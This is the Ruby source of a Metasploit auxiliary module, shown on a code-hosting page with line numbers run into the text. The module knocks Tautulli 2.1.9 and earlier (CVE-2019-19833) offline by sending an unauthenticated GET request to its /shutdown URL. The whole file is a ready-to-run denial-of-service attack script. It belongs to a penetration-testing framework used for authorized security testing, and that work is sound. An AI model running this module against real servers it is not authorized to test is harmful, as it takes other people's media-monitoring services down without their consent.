Path: blob/master/modules/auxiliary/dos/http/tautulli_shutdown_exec.rb
21552 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize9super(10'Name' => 'Tautulli v2.1.9 - Shutdown Denial of Service',11'Description' => 'Tautulli versions 2.1.9 and prior are vulnerable to denial of service via the /shutdown URL.',12'Author' => 'Ismail Tasdelen',13'License' => MSF_LICENSE,14'References' => [15['CVE', '2019-19833'],16['EDB', '47785']17],18'Notes' => {19'Stability' => [CRASH_SERVICE_DOWN],20'SideEffects' => [],21'Reliability' => []22}23)24register_options([ Opt::RPORT(8181) ])25end2627def run28res = send_request_raw({29'method' => 'GET',30'uri' => '/shutdown'31})3233if res34print_status("Request sent to #{rhost}")35else36print_status("No reply from #{rhost}")37end38rescue Errno::ECONNRESET39print_status('Connection reset')40end41end424344